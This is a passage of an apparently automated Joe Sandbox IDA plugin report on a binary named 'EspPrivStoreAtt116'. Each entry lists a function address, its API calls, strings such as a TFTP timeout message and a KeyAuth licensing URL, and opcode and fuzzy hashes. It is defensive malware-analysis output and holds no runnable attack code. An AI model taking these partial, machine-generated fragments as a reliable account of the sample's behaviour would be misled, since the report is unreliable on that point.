Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _time64$ErrorLast
String ID: TFTP response timeout
API String ID: 3339832089-3820788777
Opcode ID: ebf5c75c2f0a9778c56ed6f20c206e0eded9456d7be349dc799ff6862ca9f802
Instruction ID: 407c8f238a82534af3e1f62d116995734b34dd5daf2cbec88f2a237c2be75d24
Opcode Fuzzy Hash: ebf5c75c2f0a9778c56ed6f20c206e0eded9456d7be349dc799ff6862ca9f802
Instruction Fuzzy Hash: FD41923262CA41C5EB60BF25D4452BDA755AB85BA4F804331DE1D4B7C9DF3CE4068B60

Function 00007FF747D8A07F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8A243
isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8A257
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A2BE

Strings

TRUE, xrefs: 00007FF747D8A21D

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: isupper$free
String ID: TRUE
API String ID: 573759493-3412697401
Opcode ID: cd1d454baa3c7e85fe6ebb869d3b0c02f32a0f4473427cd0b0919bfb39ce13d5
Instruction ID: 790f039c007df76362874f159419f5692751e4e91c675b6dc8cbdceea106a0ed
Opcode Fuzzy Hash: cd1d454baa3c7e85fe6ebb869d3b0c02f32a0f4473427cd0b0919bfb39ce13d5
Instruction Fuzzy Hash: 38311A61A1D592C9FB21FB258544378AFD1EF41B94F894731CAAA536C9CE2ED143CB20

Function 00007FF747D56400 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 77fileCOMMON

Download Yara Rule

APIs

fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D56525
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D56540

Strings

..., xrefs: 00007FF747D564A8
..., xrefs: 00007FF747D56492

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: fwrite
String ID: ...$...
API String ID: 3559309478-2253869979
Opcode ID: 0c08b42f7022a8eadbaf655e4f3f22b107ec018da9aba7661bea463086124471
Instruction ID: c03a4cea050fd86ab758e0b9f574f123964b7876a012101334288e56461f7141
Opcode Fuzzy Hash: 0c08b42f7022a8eadbaf655e4f3f22b107ec018da9aba7661bea463086124471
Instruction Fuzzy Hash: 1931A221A2CA81D2EB64FB11D8447B9A7A1FB84B94FC14231DA5E037D4CF3DE15ACB50

Function 00007FF747D72EA0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73networkCOMMON

Download Yara Rule

APIs

getsockname.WS2_32 ref: 00007FF747D72EF2
accept.WS2_32 ref: 00007FF747D72F11

Part of subcall function 00007FF747D655A0: ioctlsocket.WS2_32 ref: 00007FF747D655B9

Strings

Error accept()ing server connect, xrefs: 00007FF747D72F2E
Connection accepted from server, xrefs: 00007FF747D72F3F

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: acceptgetsocknameioctlsocket
String ID: Connection accepted from server$Error accept()ing server connect
API String ID: 36920154-2331703088
Opcode ID: d90d364c0727ca94725afdc3fe68e90bdb76af083fb7b2c4cd916c2428674588
Instruction ID: 261979d76b144a443855562f405d3fdf96d8d6041d05c65fdeda3733dbeca625
Opcode Fuzzy Hash: d90d364c0727ca94725afdc3fe68e90bdb76af083fb7b2c4cd916c2428674588
Instruction Fuzzy Hash: CB31722162C681C2EA54FB22A9043AAE360FB88BA4FC44331DA6D077C5DF3DE1068B10

Function 00007FF747D6E7F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

Strings

LIST "%s" *, xrefs: 00007FF747D6E877
%s%s, xrefs: 00007FF747D6E823

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: %s%s$LIST "%s" *
API String ID: 0-1744359683
Opcode ID: 01fd01fb85fd1cdc814dc4af1efcb68caa986b23848b21fa259ade442a81e157
Instruction ID: 645da89b9b7c7cd0722b8d66bf62c0d678794c6cc2a048924f9629c62b5bc0da
Opcode Fuzzy Hash: 01fd01fb85fd1cdc814dc4af1efcb68caa986b23848b21fa259ade442a81e157
Instruction Fuzzy Hash: DD116D22E2CA82C1EA54FB65E4401BCA760FB88FC4F888632DE0E07755DF2CE5478B50

Function 00007FF747D61EB0 Relevance: 6.3, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D622C5), ref: 00007FF747D61EE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D622C5), ref: 00007FF747D61EF1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D622C5), ref: 00007FF747D61F6A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D622C5), ref: 00007FF747D61F7B
memcpy.VCRUNTIME140(?,?,00000000,00007FF747D622C5), ref: 00007FF747D61FA4

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$mallocmemcpy
String ID:
API String ID: 3401966785-0
Opcode ID: 64d3edcc426b7471abd7909f8ebfd8dc1fd57c216fe30615d90dc291891f8035
Instruction ID: ab7e09ad25fe26e7083dd3ea78b51f1700f220ff930b453ccade073a86be0e67
Opcode Fuzzy Hash: 64d3edcc426b7471abd7909f8ebfd8dc1fd57c216fe30615d90dc291891f8035
Instruction Fuzzy Hash: 77313A22A1CB45C1EB50BB52E5402A9A3A0BB49BD4F948731EF6D477D9DF3DD4428B10

Function 00007FF747D5B0C0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5B1E0
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5B226
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5B288

Strings

chunked, xrefs: 00007FF747D5B13E

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: calloc$free
String ID: chunked
API String ID: 171065143-1066005980
Opcode ID: 15733853558b65977956e4c6309eab796c1738a7f043fd983d1f8e97191936c3
Instruction ID: ba4886185de91e3c66374c29b0a8d5b812d3ca28b2c1d67dd2a8300c4f256dd7
Opcode Fuzzy Hash: 15733853558b65977956e4c6309eab796c1738a7f043fd983d1f8e97191936c3
Instruction Fuzzy Hash: EF51B921A2CA92C6EBA5BF119900779E796AF05BC4FC64131DE5C47785DF2CE4438B30

Function 00007FF747D8A4BF Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 132COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A7CF

Strings

TRUE, xrefs: 00007FF747D8A7D9
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00007FF747D8A5E1
GMT, xrefs: 00007FF747D8A56E

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s$TRUE
API String ID: 1294909896-910067264
Opcode ID: db9eeee5f1351480a12aa5f2da278e349761a42a46aad56eca97a60ea7c9fc7e
Instruction ID: 407e507aaa43a5ad3bc64b40a818ad21c4e4b6ed8f95092ec07a321d6a9395ca
Opcode Fuzzy Hash: db9eeee5f1351480a12aa5f2da278e349761a42a46aad56eca97a60ea7c9fc7e
Instruction Fuzzy Hash: 855126A2A2C696C4EB21BB24E504279FBA5EF41790FC54232CA9D06B44DF3CD483CB20

Function 00007FF747D897D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 122COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D89B06

Strings

%s: %s, xrefs: 00007FF747D89AF1
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00007FF747D898FA
GMT, xrefs: 00007FF747D8988E

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %s: %s$ GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s
API String ID: 1294909896-2632828617
Opcode ID: beebfd99418d3e134666a3b667360a78397b1afae66b590f3b48bc445c02abfd
Instruction ID: 05d554a215866d0ef28ea59ad75ea9290efa1a3f3e879aebc2cd5124eca9afc1
Opcode Fuzzy Hash: beebfd99418d3e134666a3b667360a78397b1afae66b590f3b48bc445c02abfd
Instruction Fuzzy Hash: 1F41B1A1A2C692C5EA64BB15A5042B9F7A4FB41B90FC64231CADD07758CF3CE547CB20

Function 00007FF747D3D590 Relevance: 6.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF747D3D1A8), ref: 00007FF747D3D66E
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF747D3D1A8), ref: 00007FF747D3D69C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF747D3D1A8), ref: 00007FF747D3D705

Part of subcall function 00007FF747D8FB18: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF747D343FE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D8FB32

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF747D3D712

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmallocmemcpymemset
String ID:
API String ID: 2942768764-0
Opcode ID: be577898cfb132f12a0948304b2fb9bc36eb211b7926233c65c7c8ef3fe3742e
Instruction ID: ad8835c145be403899960e4baf26a41d9b804c65d9543cb852d98219ce05caf6
Opcode Fuzzy Hash: be577898cfb132f12a0948304b2fb9bc36eb211b7926233c65c7c8ef3fe3742e
Instruction Fuzzy Hash: 86419062729A85C6EA14FF25D14427DA351BB44BA4F948731CA7E477C4DF2CE092CB10

Function 00007FF747D3F030 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF747D3F13F

Part of subcall function 00007FF747D8FB18: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF747D343FE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D8FB32

memcpy.VCRUNTIME140 ref: 00007FF747D3F12C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3F1AD
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF747D3F1BA

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: cd72aa6c121de9375501edb4d1974f7368297c5730c63817e7cbdc5a7d023e1e
Instruction ID: 6d356eef8435beaa978e00374ce8458f6bc5a436e66504f3e52012c55c7583cb
Opcode Fuzzy Hash: cd72aa6c121de9375501edb4d1974f7368297c5730c63817e7cbdc5a7d023e1e
Instruction Fuzzy Hash: 9B41A262729A8AC2EE08FB25E5042ACA751EB05BE0F944731DA6D077D4CF3CE492C710

Function 00007FF747D40790 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D40870
memcpy.VCRUNTIME140 ref: 00007FF747D4089D
memcpy.VCRUNTIME140 ref: 00007FF747D408AC
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF747D408DE

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: b289941bc787ad963bcb9495ad2c5e3cafef7c1359faf9c99362ff32d762317a
Instruction ID: 251715f624a9e01992262ad1aa6468e846a9d044f140c4b692433fa201fe6aa4
Opcode Fuzzy Hash: b289941bc787ad963bcb9495ad2c5e3cafef7c1359faf9c99362ff32d762317a
Instruction Fuzzy Hash: 7131C722A2DB41C1EA20FB12F54527AA250FB04BE0F944B75DEAD47786DE3CE092C790

Function 00007FF747D8B140 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 105COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00007FF747D6D2EB), ref: 00007FF747D8B19E

Strings

%s, xrefs: 00007FF747D8B174

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %s
API String ID: 1294909896-3043279178
Opcode ID: 9458df8b602da903cdb5424232a6394ac26afb359fa881c3766516657283d285
Instruction ID: ad08c3c23bea1ddecc56b1abe3d6dbfbb29b106a3a9028e880300b8c2a601486
Opcode Fuzzy Hash: 9458df8b602da903cdb5424232a6394ac26afb359fa881c3766516657283d285
Instruction Fuzzy Hash: 6A415232628B85C2EA50AF15B4401AAB7A4FB84BD0F950635DF9E07BA5DF38E496C710

Function 00007FF747D8B580 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,00007FF747D6EB30,?,?,?,?,?,?,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_,?), ref: 00007FF747D8B5D3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8B65C

Strings

%s, xrefs: 00007FF747D8B5A5

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %s
API String ID: 1294909896-3043279178
Opcode ID: d2a8b9a4341a91b2540e73c8fc20f79953a9bdad88463489212d982f9f51326b
Instruction ID: 1cae5a1c6eb7be611ab3a7d2293d9dfb4c3c61517991cacc6fca4f4f5776a212
Opcode Fuzzy Hash: d2a8b9a4341a91b2540e73c8fc20f79953a9bdad88463489212d982f9f51326b
Instruction Fuzzy Hash: 9541523261CB45C2E651BB26B5401AAF3A0FB45B90F954635DF9E07BA5DF3CE092CB10

Function 00007FF747D3EEE0 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,00007FF747D3D1D9), ref: 00007FF747D3EFBA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,00007FF747D3D1D9), ref: 00007FF747D3EFEE
memcpy.VCRUNTIME140(?,?,?,?,?,00007FF747D3D1D9), ref: 00007FF747D3EFF8
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF747D3F01B

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: 68a1c3225f446567fab754bf297663ac6e7eeb9fa881a6b95c3919f4eb555c52
Instruction ID: 4a9f2067cc5cc5433c08407e14048f55db0387508dafa12a0b93ca5e8c789246
Opcode Fuzzy Hash: 68a1c3225f446567fab754bf297663ac6e7eeb9fa881a6b95c3919f4eb555c52
Instruction Fuzzy Hash: 6631837272D646C6EE24BF25A5042ACE351AB44BE4FD84731EA6D077D5DE7CE0838710

Function 00007FF747D8A405 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A7CF

Strings

TRUE, xrefs: 00007FF747D8A7D9
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00007FF747D8A4AB
GMT, xrefs: 00007FF747D8A459

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$GMT$TRUE
API String ID: 1294909896-918878739
Opcode ID: 7f4687f8412e3f34b693d9f25119206f39845ea297186b2d0ffc6b4486a475f8
Instruction ID: 384e05f5437b844026c850700a8c762773d4453237845af57c7a91f1df64f6fe
Opcode Fuzzy Hash: 7f4687f8412e3f34b693d9f25119206f39845ea297186b2d0ffc6b4486a475f8
Instruction Fuzzy Hash: 9331E462A1DA85D8EB21AF65D5002B9A762FB85784FD94632CA9D03784CF3CE543CB10

Function 00007FF747D89715 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D89B06

Strings

%s: %s, xrefs: 00007FF747D89AF1
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00007FF747D897B9
GMT, xrefs: 00007FF747D89769

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %s: %s$%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$GMT
